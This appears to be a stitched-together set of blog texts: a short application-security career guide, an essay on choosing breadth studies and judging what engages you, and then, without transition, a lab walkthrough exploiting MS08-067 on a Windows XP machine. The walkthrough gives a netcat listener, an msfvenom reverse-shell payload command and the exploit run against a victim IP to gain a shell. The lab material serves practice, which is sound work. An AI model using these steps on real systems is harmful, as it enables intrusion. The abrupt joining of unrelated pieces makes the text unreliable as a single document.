I have collated this Application Security Career Guide from market demands and my understanding of current industry trends and practices. The guide describes some of the important skill-sets for someone who are interested in AppSec:
Develop guidelines and best practices
Vulnerability Assessment and Penetration Testing (VAPT)
Conduct Research on Industry trends and Community Contribution
I also included some additional information such as:
InfoSec and Audit Certifications
Compliance and Regulations knowledge
Hands-on experience with Tools
Knowledge on Web Security, OS, Authentication, Network, Cryptography etc.
Common Tech stack to know
AWS Security Services
Feel free to let me know if you think there are some skills and info that needs to be added.
Breadth studies are any studies which takes you outside of your field of specialization. You want to do breadth studies as it helps you to rest from your field of specialization.
Today, there are so much information about different subjects from books, MOOC and internet blog posts. We need an approach on how to conduct our breadth studies without becoming a dilettante and make the studies to be sustainable.
Criteria for picking subjects
Don’t learn something for the sake of learning or because it is popular (appearing in media and news article). Instead, consider using below criteria as a guide to your decision:
Humanity-Natural reason: Subjects that makes you be more connected as a human and to nature.
Complementary reason: Subjects which helps to advance yourself further in your field of specialization.
Exploratory reason: Subjects in which you might want to add to your specialization but unsure now.
Practical-Living reason: Subjects which teaches you how to live practically in modern world.
One of the most practical truths that Daniel Miessler shared is that learning is an integration problem. When you learn something new, you have to decide whether to integrate this new thing into your life and work.
There are many techniques available (e.g. Spaced Repetition) which can help you memorize this new thing that you are learning. At some point, you cannot just remember things. You need to consider whether to integrate this thing into your life or dropped it because it is too difficult to integrate into your work / life.
For Breadth studies, you will face the integration problem. If you cannot integrate what you learned in your Breadth studies to your actual work or life, then it will not be sustainable. Think hard about how you can use this thing that you have learned.
I felt that many news, tweets, YouTube videos, blogs and forum / aggregators are constantly to trying to engage my attention. As a result, I struggle to know what are the things that I truly find it engaging.
Everything seems engaging to me because they looks new and something that I don’t know. But I seldom have any sustainable engagement with these resources. Therefore, I should not use these resources as a measurement of what I truly want to engage in.
Instead, I should try to study and practice the foundations of these resources that I am often trying to look into. Only with a sustainable study of these foundational fields, then you can truly know what engages you the most.
The “question” heuristic
How do you know what truly engages you? Use the simple heuristic: If you have many questions while studying the fields, the chances are that this field of work engages you the most compare to other fields.
You might also find other fields to be engaging as well but not something you want to deep-dive. In that case, you should treat them as breadth studies (just by knowing the fundamental principles should be sufficient).
Beware of judging that a field is not something that engages you just because you have no questions while doing an initial study.
There is also a possibility that you are using the wrong resource to study (that is why you don’t even know what to ask to find out more). A good resource brings out more questions from your mind. Or you are missing some knowledge or real life experience to ask any questions. Thus, you cannot pre-maturely judge that the subject does not engage you because you have no questions now.
But if you have done a thorough study and yet the questions are not flowing out of your mind, the chances are that the field is not engaging enough to your current life context.
We can also google for exploit relating to Windows XP SP3 and SMB.
From our enumeration, we can try these two exploits: 1. MS08-067 2. MS17-010
Convert this script to python3: https://raw.githubusercontent.com/andyacer/ms08_067/master/ms08_067_2018.py
Start the netcat listener:
nc -nlvp 443
Get Local Machine IP:
ip addr | grep tun0
Generate the shellcode using msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL MACHINE IP> LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
Copy the shellcode to exploit.py script.
Run the exploit script (make sure you have pip3 install impacket).
Remember that the machine is Windows XP and likely to be SP3. So let’s choose choice 6.
python3 exploit.py <VICTIM BOX IP ADDR> 6 445
There will be a callback on the listener:
The root.txt is in the Desktop folder.
Reflections on the lab
It took me days to achieve a successful exploit. One of the reason is that I was spending two days on debugging python2 exploit scripts for MS17-010 (eternalblue). There is some issue in using pip2 to install impacket. Therefore I targeted MS08-067 instead.
If you are stuck with debugging issue, you need to time-box and move on. You can revisit the issue in the future. Eternalblue is one of the famous NSA exploit. I will definitely need to figure out how to fix the issues when running the exploit script.
I confused LHOST as the IP address of the victim box. Instead I should remember that LHOST is the IP address of the local VM.
You can enumerate issue using nmap as well and not just with searchsploit.
Convert python2 scripts to python3 scripts with online tool such as this.